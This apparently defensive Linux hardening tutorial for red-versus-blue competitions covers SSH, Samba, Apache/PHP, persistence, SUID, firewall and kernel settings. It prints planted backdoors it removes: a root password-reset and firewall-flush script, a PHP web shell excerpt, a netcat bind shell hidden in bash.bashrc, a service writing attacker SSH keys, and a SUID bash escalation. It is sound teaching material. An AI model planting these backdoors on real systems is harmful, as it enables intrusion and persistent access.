This section will vary wildly depending on the services on your machine. Services are just programs, and like any other, what you put in the configuration is dependent on your understanding of how it works. Based on different setups of your services, the way you choose to secure it will vary wildly.

But let's take a look at what we have right now:


This is probably the most common service. Except maybe web servers. This is SSH, Secure SHell, and it's how we're hypothetically talking to this machine.

Its configuration lives in /etc/ssh/ by default, for both client and server. OpenSSH, which is the version of SSH we (and everyone else) are using. We're in luck because this is probably the most secure service of all time, per popularity unit.

vim /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress ::


What you'll notice first is that there are a ton of commented options. These are the default options, and they're included in the configuration so you can see what the default values are. So, we're concerned with things that are NOT commented.

Looking at just those:

PermitRootLogin yes
PubkeyAuthentication yes
PermitEmptyPasswords yes
UsePAM yes
UseDNS yes
Match User root
  ForceCommand /bin/tomfoolery


PermitRootLogin: should we allow root to log in through SSH? Default is no. This one can be controversial. I personally leave this enabled, since I log in as root anyway. My philosophy is that logging in as a low-priv user and escalating is more noisy and risky than just logging in as root. If you escalate, you'll have use sudo or su, run a bunch more profile and rc scripts, and that's what the red team is expecting you to do. However, conventional wisdom says to disable this. YMMV.

PubkeyAuthentication: should be permit public key authentication? If you haven't heard of this before, you can use really long magic numbers to prove your identity to the server without using a password. It's enabled by default, but unless you're using keys, you should disable it, since public keys can be used as a way to persist once you've changed a user's password.

Tell me more about this 'public key authentication' wizardry.

We touched on this a bit above, but SSH allows the use of private public key pairs to authenticate you. This is a form of asymmetric encryption.

SSH keys are used a ton, because they're practically much more secure that a password. You can generate one with ssh-keygen. There are a couple important things to remember.

First, keys that you're allowing to log into your account live in /home/$YOURUSER/.ssh/authorized_keys, or for root, /root/.ssh/authorized_keys, where $YOURUSER is uh, your user (e.g., bob).

Secondly, when people log in, the will need their private key (which they keep private) to prove they own that public key-- that means, /keep your private key private/.

Finally, keys can live in a few places, but by default, they'll be at $HOME/.ssh/id_rsa (PRIVATE key) and $HOME/.ssh/ (public key). $HOME is actually a real, commonly used environmental variable, in case you were wondering (try echo $HOME).

PermitEmptyPasswords: exactly what it says on the tin. Disable this. With this option, our blank root password from earlier could be taken advantage of over SSH.

UsePAM: another controversial option. You can disable this and make SSH check /etc/shadow manually. If you're using a default install with no weird auth, this is "more secure," since it doesn't rely on PAM. However, it makes it easier to brute force passwords, since SSH responds to failed attempts quicker. This is "yes" by default on most distros.

UseDNS: should we look up remote host names and verify that the IP connecting checks out? I always disable this, since it offers marginal, if any, security gains, and can make the login process take much longer (which could lead to a service check failing).

ForceCommand: run this command when users log in, instead of their login shell (like /bin/bash). This is highly suspect, so let's check out /bin/tomfoolery to see what it's running.

cat /bin/tomfoolery
# teehee. vous etes pranked, monsieur root
echo "root:Password1!" | chpasswd
iptables -F; iptables -X; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT

How mischievous. This configuration, since wrapped by the Match User option, will only run when root logs in. So let's just remove those two lines in sshd_config, and remove the /bin/tomfoolery script.

Your body odor is horrendous, and your explanations lacking. Please point me to an authoritative source for these options.

At once, my liege. Please refer to man sshd_config.

Once we have the biggest configuration holes fixed, make sure to restart the service:

systemctl restart sshd

And if SSH goes down on the scoreboard, you screwed something up! (Or if it's one of our comps, perhaps the person who wrote the scoring engine is woefully incompetent). Hope you backed it up.


SMB, or samba on Linux, is a file sharing service that's compatible with Micro$oft Windblow's Server Message Block protocol, famous for being exploited every couple years. It's not great Linux either, but we run it because we hate ourselves.

The configuration for this is usually pretty simple, just make sure there are no wild options or extra shares. It lives in /etc/samba/smb.conf. You can comment lines with # or ;.

vim /etc/samba/smb.conf
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH
   workgroup = MYGROUP

# server string is the equivalent of the NT Description field
   server string = Samba Server
# Uncomment this if you want a guest account, you must add this to /etc/passwd
# otherwise the user "nobody" is used
   guest account = remy


   comment = Home Directories
   browseable = no
   writable = yes

# Un-comment the following and create the netlogon directory for Domain Logons
; [netlogon]
;   comment = Network Logon Service
;   path = /usr/local/samba/lib/netlogon
;   guest ok = yes

path = /root
browseable = yes
guest ok = yes
writable = yes
public - yes

path = /srv/recipes
writable = yes
browseable = yes

We have the general options at the top, and the share definitions below it. By default, [homes] is defined, allowing any user to log in and read/write to their home folder. You can and should disable this if it's not scored.

How do I know if it's scored, nimrod?

That's a good question. It's sketch, but the way I would do it (and the fastest way) is to just give it a cursory look-over to see if there are any important files (e.g., ls -Ral /home | less), then remove it from the config and see if my service goes down. That's a bit clumsy though, so I would instead recommend looking at the logs in /var/log/samba/*, and you should be able to see which shares are being accessed. If it doesn't exist, you can set the option under the [global] section.

log file = /var/log/samba/%m.log

Then restart the service. You may have to increase the log level. For further reading, you can check out man smb.conf.

As you may be able to guess (but be careful of guessing!), the section maliciousShareLol above defines a file share that is... malicious. However, that /root share won't work unless the logged in user has permission to read files in it, so hopefully it isn't. Speaking of, it looks like the guest account is remy, which is not super secure, especially since he's an administrator-- someone could log in as him via the guest account and read/write files as him.

To remediate, we remove the whole maliciousShareLol section, and change the guest user to nobody. I would also remove the home shares (assuming they are not scored), and remove writability from the scored share. Like this:

# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH
   workgroup = MYGROUP

# server string is the equivalent of the NT Description field
   server string = Samba Server
# Uncomment this if you want a guest account, you must add this to /etc/passwd
# otherwise the user "nobody" is used
   guest account = nobody


;   comment = Home Directories
;   browseable = no
;   writable = yes

# Un-comment the following and create the netlogon directory for Domain Logons
; [netlogon]
;   comment = Network Logon Service
;   path = /usr/local/samba/lib/netlogon
;   guest ok = yes

path = /srv/recipes
browseable = yes

And that should do it! Remember to restart the service.

systemctl restart samba

As a tip, you can test your samba configuration syntax and validity with testparm. Don't ask me why it's called something so generic.


The two most popular web servers for Linux are apache2 (also called httpd on RHEL-based systems, which CentOS is one of) and nginx. We're using httpd here. Configurations for this service live in /etc/httpd/conf/httpd.conf and /etc/httpd/conf.d (a little different, but I hope you're seeing a pattern here with these configuration paths).

# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# [blah blah blah]

User apache
Group apache

# Further relax access to the default document root:
<Directory "/var/www/html">
    Options Indexes FollowSymLinks
    AllowOverride None
    Require all granted

# [snip]

# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel emerg

# [snip]

IncludeOptional conf.d/*.conf

Honestly, I hardly ever touch this configuration. The only thing that it's really useful for is preventing people from reading certain files, turning off open indexes, and reducing information disclosure (e.g., ServerTokens Prod and ServerSignature Off). For this type of competition, realistically, that doesn't really too much, so don't make it top priority.

In the above config, I would change the LogLevel to be error rather than emerg, since you can catch a lot of botched (or working!) exploits via the error log when it prints more. The User and group directives seem juicy, but it's actually a pain to run httpd as root, and we can see that they're using the default value of apache. Finally, we don't want open indexes, so we delete Options Indexes for /var/www/html, which is where our website is. On this system, conf.d/ only has default configurations, but make sure to always check. Our edited config looks something like this:

# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# [blah blah blah]

User apache
Group apache

# Further relax access to the default document root:
<Directory "/var/www/html">
    Options FollowSymLinks
    AllowOverride None
    Require all granted

# [snip]

# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel error

# [snip]

IncludeOptional conf.d/*.conf

Once you do that, and anything else you think may be important, check that your configuration is valid:

httpd -t

Assuming we're good, restart the service:

systemctl restart httpd

Per usual, what the web server is actually serving is much more interesting.

ls -la /var/www/html/
drwxr-xr-x. 2 root root    51 Nov  5 18:16 .
drwxr-xr-x. 4 root root    33 Nov  5 14:53 ..
-rw-r--r--. 1 root root   339 Nov  5 18:16 index.php
-rw-r--r--. 1 root root  1679 Nov  5 18:16 key
-rw-r--r--. 1 root root 16980 Nov  5 18:16 shell.php

Hmm, I'm no scientist, but shell.php looks suspicious.

head /var/www/html/shell.php

function featureShell($cmd, $cwd) {
   $stdout = array();

   if (preg_match("/^\s*cd\s*$/", $cmd)) {
       // pass
   } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
       preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
   } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {

Yup, that's p0wny shell. Let's perform our due diligence and make sure the scoring engine isn't using it:

cat /var/log/httpd/access_log | grep "shell.php" - - [05/Nov/2021:18:17:32 -0500] "GET /shell.php HTTP/1.1" 200 14375 ... - - [05/Nov/2021:18:17:36 -0500] "POST /shell.php?feature=pwd HTTP/1.1" 200 26 ... - - [05/Nov/2021:18:17:37 -0500] "POST /shell.php?feature=shell HTTP/1.1" 200 67 ...

Nothing recent, looks like the image creator was just testing it. Safe to delete! Key is suspicious too, but let's investigate the index first:

cat index.php

echo "Qu'ils" . " mangent du gâteau!";


Les hommes, pour trop longtemps, avait supprimer les peuples du France,<br>
et especiallement les rats et les autres rodents du Paris. Pas plus!<br>
On vas tuer tous ceux qui s'opposent a nous.<br>

Cliquez-vous sur notre sites:<br>
<a href="/key">key</a>
<a href="/shell.php">shell</a>

Some useless PHP, bad French, and links to our two other files. That string manipulation is to provide some defense against a competitor just disabling PHP-- it's likely that the string Qu'ils magent du gâteau is scored, and disabling PHP will make the string concatenation (with .) not work.

cat key

Looks like key is just an RSA key, which could be an SSH key. We already prevented key usage with our SSH config, but it's possible that this is this key is used for some other server as well, so it's best to delete it (after ensuring it's not scored).

Now that we know our server is using PHP, we should harden php.ini, and prevent further PHP shells or backdoors we may have missed from being useful. Usually, there are a couple php.ini files for different use cases (from command line, via Apache2, etc), but there's only one on this system.

Of the php.ini hardening options, the most important is disable_functions, which will prevent any kind of local shell command execution. Sometimes, image developers will be very mean and make system part of the scored functionality, meaning you'll have to rewrite part of the webapp. And sometimes, real webapps will rely on these functions, but it's rare. Luckily, neither are the case here.

vim /etc/php.ini

And we add our hardening options to the file. You can throw them on the bottom, or find each option and set it.

disable_functions = shell_exec, exec, passthru, proc_open, popen, system, phpinfo
max_execution_time = 3
allow_url_fopen = off
allow_url_include = off
display_errors = off
session.cookie_secure = 1

Restart the service, and that should cover it for the security of our web server.


There are a ton of ways to run code on your system automatically, or when certain events occur. Your goal with removing persistence is to:

  1. Reduce the number of these mechanisms active, and
  2. Carefully enumerate the ones that remain.

What sucks is, operating systems are really good at running code! Big bummer. We can try to fight back, though. The most common persistence mechanisms are:


See the processes section above about our friend cron.

Profile and RC

Whenever you run your terminal, or start your computer, or do some thing, there's code running to do that. Often, that code pulls in some number of "run command" (rc) files. Yadda yadda, someone puts chpasswd in your .bashrc and you get dunked on.

We're going to ignore init.d files, because those are more like services, and they've been replaced by systemd on this system (unfortunately). Here are the ones you want to worry about:

  1. .bashrc (or .zshrc, etc): your shell's rc file is run every time you run your shell, which is every time you log in.
  2. .profile: supposed to set up your locale, environment, etc.

The tricky thing is, these files have an /etc/ equivalent for use when there's no .<filehere> in the user's home folder. So, you also need to check or delete these.

  1. /etc/bash.bashrc
  2. /etc/profile and /etc/profile.d

There are a couple obscure ones as well, like /etc/input.rc and /etc/rc.local. And for user files, a new home folder gets created, it copies files from /etc/skel. What if that .bashrc has some malicious code in it? AHHH! It's too much. If you check all these places, and crack down on processes and listening ports are specified earlier, then you should be in a better place, at least.

On our machine, let's briefly check all the files, delete /etc/profile (what has it ever done for me?), nuke all the user files, then audit /etc/bash.bashrc.

Keep in mind that removing these files will impact your shell in some way (maybe you lose your colors, prompt, or tab completion). If this worries you, delete everyone's files except for you user.

Let's just pretend like we looked at the files, then get to the fun part:

# Move profile files so they don't get loaded (yes this is cheese)
mv /etc/prof{i,y}le.d; mv /etc/prof{i,y}le

# Remove all common runcommand files in /home and /root
for f in ('~/.profile' '~/.bashrc' '~/.bash_login'); do
    find /home /root -iname "$f" -delete

Now let's look at /etc/bash.bashrc.

vim /etc/bash.bashrc
# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# [blah blah blah, edited for brevity]

# Commented out, don't overwrite xterm -T "title" -n "icontitle" by default.
# If this is an xterm set the title to [email protected]:dir
#case "$TERM" in
#    PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"'
#    ;;
#    ;;

# Wait what's this?
pgrep yort || yort -lvnp 9997 -e /bin/bash

# enable bash completion in interactive shells
#if [ -f /etc/bash_completion ]; then
#    . /etc/bash_completion

# sudo hint
if [ ! -e $HOME/.sudo_as_admin_successful ]; then
    case " $(groups) " in *\ admin\ *)
    if [ -x /usr/bin/sudo ]; then
	cat <<-EOF
	To run a command as administrator (user "root"), use "sudo <command>".
	See "man sudo_root" for details.


It appears the lazy image author has snuck in yet another cheap nc shell. Get some new ideas!

rm `which yort`
sed -i "/pgrep/d" /etc/bash.bashrc

But otherwise, our RC files seem pretty clean. Fantastic, now we can move on with our lives.

SUID and SGID Binaries

Some binaries have additional capabilites. They were Gifted the ancient Powers of assuming Identity of the Chosen UID. When you run a SUID (Set UID) or SGID (Set GID) binary, it will run with the permissions of whichever user or group owns the binary. This means that if someone "accidentally" makes the wrong program SUID, say, /bin/bash, anyone can use it to escalate to root.

Yikes! What lunatic came up with that idea?

Being able to assume root level permissions for certain tasks without being root is to preserve every system administrator's sanity. When you change your password, change your shell, or use ping, those are all operations that require being root (how do you think you changed your password hash in /etc/shadow? Willpower?).

Letting the binary be the sole barrier between you and root permissions is perhaps a bad decision in hindsight, but I am hard pressed to come up with another alternative. This of course means that exploits targeting SUID binaries are highly valuable and a "common" source of privilege escalation.

You can find these binaries by looking for the SUID/SGID permission bits. You'll notice the same /dev/null thing from before, because I don't want to see the permission errors from it trying to read some magic files /proc/.

find / -xdev -perm -4000 2>/dev/null

Alright, looks good... except wait, /bin/bash?

If you run /bin/bash as a non-root user, you'll notice it looks like this:

[bash-5.0 ~]$

It should say my username (remy)! This is a telltale sign of /bin/bash being SUID. You may have also noticed that, uh, I ran the SUID binary, and I'm not root! What gives?

Trying to be helpful, bash will automatically drop your permissions from root when it's SUID. You can make it preserve that SUID bit by passing -p:

[bash-5.0 ~]$ bash -p
[root@havre /home/remy]#

You can tell by the username and the octothorpe # that you are now, in fact, root.

We also investigated /bin/lol off stream and realized it was a lazy copy of /bin/bash. They should've named it dbus-openssh or something. Stupid image creator.

You should remove the SUID bit from the legit binaries with:

chmod u-s /bin/bash

To remove SGID (set group id), do chmod g-s <binary-here>.

Everything else on that list is legit (they need SUID to like, change global files or something), but that doesn't mean the binaries themselves are not backdoored. For this, you can run rpm -V to verify your packages, or debsums -ca on Debian-based systems.

Wowzers! This sure is a lot. Are there any other permission shenanigans I should know about?

All too many, young penguin. Beyond SUID/SGID bits, there are capabilities which can be applied to any program, that can permit them to do anything from ptracing any process to overwriting standard DACLs (Discretionary Access Control List, the standard Linux rwxrwxrwx thing) permissions. You can manipulate these with getcap and setcap (reading the man page man capabilities highly encouraged).

There are also attributes, which can make a file immutable even to root. You can see these via lsattr (to read) and chattr (to set). If you're ever mystified why you can't delete something, this is probably it-- a red teamer marked something immutable. Do note that this is "recursive", in the sense that if a parent folder is marked immutable, you can't remove its children. Luckily you can remove it recursively too (chattr -R -i .)!

Final one we'll talk about is extended file ACLs, which you can see with getfacl and setfacl. This could permit everyone to read /etc/shadow, for example, without it explicitly showing up in ls -la. (To learn more, read the man pages for those commands).

Malicious Services

Geez, what ISN'T malicious? This section will briefly cover malicious systemd services, since that's the trashware we're stuck with on this CentOS box. This is kind of crapshoot, but you can look for overtly malicious things.

You can list all running /units/ with:

systemctl list-units

Or my favorite:

systemctl | grep running

Or just service files:

systemctl list-units -t service

If you run some of those, you'll get something that looks like this:

init.scope             loaded active running   System and Service Manager
session-1.scope        loaded active running   Session 1 of user remy
colord.service         loaded active running   Generate Color Profiles
cups.service           loaded active running   CUPS Scheduler
[etc, etc, snipped]
ssh.service            loaded active running   OpenBSD Secure Shell server
systemd-udevd.service  loaded active running   udev Kernel Device Manager
inspecteur.service     loaded active running   Active memory management module
snapd.socket           loaded active running   Socket activation for snappy

Browse through this mind-numbing list, or the one above that I removed 80% of the services from, and you may notice inspecteur.service, with a description of Active memory management module. That makes about as much sense as networkd-dispatcher.service ("Dispatched daemon for systemd-networkd"), but this one is actually fake, and your machine has doth been hoodwinked.

Listen here, you snot-faced degenerate. Nobody has time to sit around and read through these stupid service lists! You can't tell if anything has been changed, is a trojan or backdoor, and there are about a billion units. This is infeasible to audit.


From here, we investigate what the service does, since we think it's malicious. If we want to see every option for the service, we can use:

systemctl show inspecteur

If we care about our sanity, we should instead find the service file and just read it. Most service files live in /lib/systemd/system/, and some in /etc/systemd/system. Lucky for us:

find /lib/systemd -iname "*inspecteur*"

Got em. Now we can read the file:

Description=Active memory management module



I see, it's calling a script. If we read /usr/lib/

echo "root:Password1!" | chpasswd
iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT
echo "[redacted long pubkey]" > /root/.ssh/authorized_keys

Classic shenanigans. We dislike and thus unlink this file, and crunk the service, then call it a day.

rm /usr/lib/
rm /root/.ssh/authorized_keys # Because it was writing pubkeys here

systemctl stop inspecteur
systemctl disable inspecteur
rm /lib/systemd/system/inspecteur.service

Trojan Binaries

Being the /Trojans/, we must be familiar with these. A trojan(ed) program is any binary or script that acts normally but has some backdoor or undesirable epic hacks, for example, if I recompiled ls after adding a call to system that spawns a netcat listener.

Conventionally, we find these by checking signatures and checksums. On debian, this is debsums -ac, and on CentOS, it's:

rpm -Va

It will verify each package, where the things on the side tells you what changed. You can read more at man rpm.

In general, these are tough to confirm remediation of, because like rootkits, the game goes all the way down. Okay, ls is backdoored. What is rpm is backdoored to not tell me? What if sha256sum is backdoored to show me the wrong hash for certain binaries? What if GPG is patched to accept any signature? And so on.

The only real solution here, a lot like good rootkits, is prevention. Often we can't do that, so we'll just hope that these verification measures work, and keep an eye out for things that seem strange.



File permissions rule the land. Userland, that is.

As mentioned earlier, for most files by default, the ACL (access control list) system in place controls read, write, and execute permissions for owners of a file, group members of a file, and everyone else.

Peon, explain this confounded 'permission model.'

It's shown by the rwxrwxrwx string you may have seen before. For example:

ls -la /bin/bash
-rwxr-xr-x 1 root root 1336256 Oct  8 11:31 /bin/bash

Taking apart that string:

-          rwx     r-x      r-x      root     root
^ Special  ^ User  ^ Group  ^ Other  ^ Owner  ^ Group

The special bit, which may or may not be the official name, lets you know if a file is actually a directory, symlink, or something like that. When we see the user permissions are rwx, that means the user can read (r), write (w), and execute (x). And the user owner is root. On the other hand, members of the root group can only read (r) and execute (x). There's nobody in the root group anyway (as we saw previously), but if there was, they have those permissions. And then /other/ is everyone else, so anyone can read or execute /bin/bash.

The biggest danger, and one that's easy to check for, is files that are writable by anyone (world writable files):

find / -perm -o+w -not -type l 2>/dev/null

This is saying "find all files that are not symlinks, where other has write permissions, and don't print any errors (put them in /dev/null)."

On our box, this results in:

[bunch of garbage in proc]
[bunch of garbage in var]

You can ignore pretty much everything in /tmp, since that's world writable by design. And /proc isn't a real filesystem. But, if you find a file that should not be world writable, for example, /etc/shadow, then remove the other-writable bit with:

chmod o-w /etc/shadow

Keep in mind that /etc/shadow should not be world /readable/ either.

Permissions are tough because there are so many different "correct" setups. But really only /etc/shadow is read sensitive, and removing world writability for the rest should be sufficient.


Oh firewall, how we adore you. The great catchall, stopper of egress, inspector of what is pure and good... and also the number one cause of your services being down. Firewalls seem easy to understand, but they're tricky. Usually it's due to your misunderstanding of networking, but still, they're tricky.

It's because of this fact that you need to exercise great caution when editing and applying your firewall rules, especially if you're logged in through SSH, and ESPECIALLY if your only way to access your machine is through SSH. Always double check your rules and always leave an escape hatch.

# Exit if any errors occur... much better than carrying on
set -e

# My poor fingers can't handle typing four more letters per line

# Flush the current rules
$ipt -F; $ipt -X

# Allow services in. Since we have SSH, SMB, and HTTP, we want 22, 445, and 80
# We know these ports from `ss -plunt` earlier.
$ipt -A INPUT -p tcp -m multiport --dport 22,445,80 -j ACCEPT

# Allow connections that are established in and out.
# -m is a iptables module (which is actually a new kernel module!)
$ipt -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
$ipt -A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

# OPTIONAL: Some competitions require outbound connections on port 80 and 443.
# You'll also need these (and DNS) to be able to update via dnf/yum or apt.
$ipt -A OUTPUT -p tcp -m multiport --dport 80,443 -j ACCEPT
$ipt -A INPUT -p udp --dport 53 -j ACCEPT
$ipt -A OUTPUT -p udp --dport 53 -j ACCEPT

# Finally, the danger line: drop any traffic that doesn't match.

Because we're both big losers, we want to put this in a script file (just put it in or something), so we can run it easier with our escape hatch:

bash ./; sleep 10; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT

This will set up our firewall, and wait 10 seconds before allowing all traffic. So if we lose access to our SSH session because we made a mistake, we can just wait 10 seconds. If we didn't lose access, we can just interrupt it with CTRL-c before the sleep finishes.

And just like that, we should have a reasonably tight firewall setup. If possible, go to another machine, and test your rules. And please, please, please check that your services are still green on the scoreboard. Or if this isn't for a competition, make sure that nobody in your IRC channel is complaining about getting timed out when connecting to your website.

Kernel Configuration

The kernel, Linux, is the piece of software enabling you (and all your little daemon buddies) to talk to your hardware, run processes, have the concept of a filesystem, and a bunch of other stuff. Your main configuration is /etc/sysctl.conf.

There are a TON of options (see, but there are only a few that really matter.

vim /etc/sysctl.conf
# Enable SYN cookies
net.ipv4.tcp_syncookies = 1 

# Don't forward traffic
net.ipv4.ip_forward = 0

# IDK what Time-Wait Assassination is but it sounds awesome
net.ipv4.tcp_rfc1337 = 1 

# No, I don't want to handle your ICMP traffic
net.ipv4.icmp_ignore_bogus_error_responses = 1 
net.ipv4.conf.all.accept_redirects = 0 
net.ipv4.icmp_echo_ignore_all = 1 

# Don't expose kernel addresses in /proc. Have fun spraying, rootkitters!
kernel.kptr_restrict = 2 

# Prevent non-privileged kernel profiling.
kernel.perf_event_paranoid = 2 

# Enable ASLR! This makes it harder to exploit binaries.
kernel.randomize_va_space = 2 

# Don't let non-root use ptrace on other processes.
kernel.yama.ptrace_scope = 2

# Don't permit coredumps of SUID binaries (see SUID section).
fs.suid_dumpable = 0

Once you add your new options, ask sysctl to reload its configuration files with:

sysctl -p

Kernel Modules

The Linux kernel is monolithic, haven't you heard?

But it's really... 'modular monolithic,' if that means anything. Essentially, for every additional bit of functionality you need that isn't baked directly into the kernel, you need to insert a kernel module. This will be things that need to directly talk to hardware, the network stack, or anything else the kernel does and doesn't provide a userland interface for. For example, iptables typically inserts no less than !two! kernel modules. Check it out:

lsmod | grep tables
ip_tables              32768  1 iptable_filter
x_tables               49152  2 iptable_filter,ip_tables

But, as you may have predicted, being able to insert kernel modules to run arbitrary code at the highest possible privilege level is not a good look for security. This is why we need to enumerate the inserted kernel modules on a system. You should've taken a benchmark of inserted modules as soon as you logged into your machine. I forgot to tell you? Oops!

# Save kernel modules to a dated file
lsmod > kernel_modules_$(date | tr " " "_")

Hey nimwit! What if the red teamer just edits my file to include their new module?

Good point I guess, but honestly, if a red teamer takes the time to do that rather than just deleting your baselines, I think they deserve it. You can GPG encrypt your baseline if you desire, like we did with the service backups. Or hash the file right after collecting it, and memorize the hash in that big brain of yours.

Then, when you get around to being paranoid again, just compare the list to the active lsmod output.

Since a kernel module runs in the kernel, can't it stop the kernel from showing me that it exists?

How astute! Correct, it totally can. It typically does this by 'hooking' system calls, which is how userland utilities (you, with your pathetic coreutils) interact with the kernel. If it obscures its own presence, it can be classified as a rootkit.

Some CCDC red teamers will definitely drop rootkits on you, but I doubt any would at the regional level. Regardless, we are paranoid. My approach, right now, is to prevent kernel module insertion as soon as possible after I set up a firewall (to ensure that the iptables modules are inserted). It'll look something like this:

# Allow SSH and use conntrack with iptables, just to ensure that kernel modules are inserted
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

# Disable kernel module insertion (will require reboot to change back!)
/sbin/sysctl -w kernel.modules_disabled=1

Be careful that you don't do this when you need to run something that inserts kernel modules... seems obvious, but it can be very confusing when you start getting strange errors after forgetting that you ran this.

If you're into cheese, you can remove gcc (and tcc, clang...). Most kernel modules will need to be compiled on your system before deploying, unless they are enacting kernel wizardry, or have a test machine that is very similar to yours.

Restricting Users

In my humble opinion, users have too much freedom. We can restrict their freedom by changing their shells to a restricted one, which will stop them from running commands, changing directories, or doing anything useful. But this typically won't break SSH scoring :). Good thing these aren't real users, or else we would get some angry phone calls.

Leave at least one account with a normal shell, preferably the account you are using to secure the machine. I personally just use root, because I live on the edge. But again, you need to be careful. If you lock yourself out of the only non-rbash account, you will have to perform a very unwelcome shell escape CTF challenge.

You can use the chsh utility, or if you're cool, vim /etc/passwd.

vim /etc/passwd

You can do a sed (stream editor)-like replace in vim. This will replace all bash shells with rbash (notice the cool non-standard '#' separator so we don't have to do forward-slash escapes):


Just remember to change back root to /bin/bash (or your preferred shell). Next time a user (or red teamer) logs in, they may be frustrated.


Sorry Apple brainwashees, MAC in this context stand for "Mandatory Access Control". These are kernel modules that restrict the system based on a set of rules.

The most popular, and the one installed on this box (CentOS) by default, is SELinux. It has a bad reputation for being horrifically complex, but luckily for us, most competition organizers don't want to touch it either, so we usually only need to turn it on or off.

If you don't have any reason not to, it's a good idea to enable it.

# Get SELinux status
SELinux status:       disabled
# Enable SELinux enforcing
setenforce 1
# Make change persistent on reboot
vim /etc/selinux/config

If your service is very strange or doing something insecure, and you're sure that you can't fix it, then you can turn SELinux off by running the previous commands, but the other way (setenforce 0 and set SELINUX=disabled in the config).

For Ubuntu, a similar system called AppArmor is present. You can download new profiles and begin enforcing them pretty easily.

apt install apparmor-utils apparmor-profiles
aa-enforce /etc/apparmor.d/*

If you plan to use AppArmor, you should read their documentation and get familiar with their commands and profiles.


Generally, I would recommend just browsing your file system and looking for malicious things. You'd be surprised how much stuff is just lying around.

If you're competing in some fashion (as long as I'm not competing as well), then you should make sure you have a checklist put together with all the resources and info you may need. Remember that it's only useful if you practice it.


If you got to this point, congrats! I hope it was useful for you and had some new information. The only main topic I didn't cover is monitoring (look into auditd if you're interested). Overall, I think this is a good starting point, and I would be excited to test new things against you as a red teamer :) However, the learning never ends!

For snippets and more useful checklist resources, you can visit the DSU DefSec Wiki, or the DSU DefSec Drive (if it's still up). This post is in the same vein as "DL102: Defense Against the Dark Arts on Linux", for which you can find a great rendition here: Also useful for overall strategy is Mubix's

But of course, the best resource and opportunity to learn is to enter as many competitions of this style that you can, and to practice and experiment by yourself. You can download an Ubuntu, Debian, or CentOS ISO, open it up in your hypervisor of choice (I am partial to qemu/kvm + virt-manager), and go ham on it.

Best of luck, and have fun!

If you have any questions or feedback, please email my public inbox at ~sourque/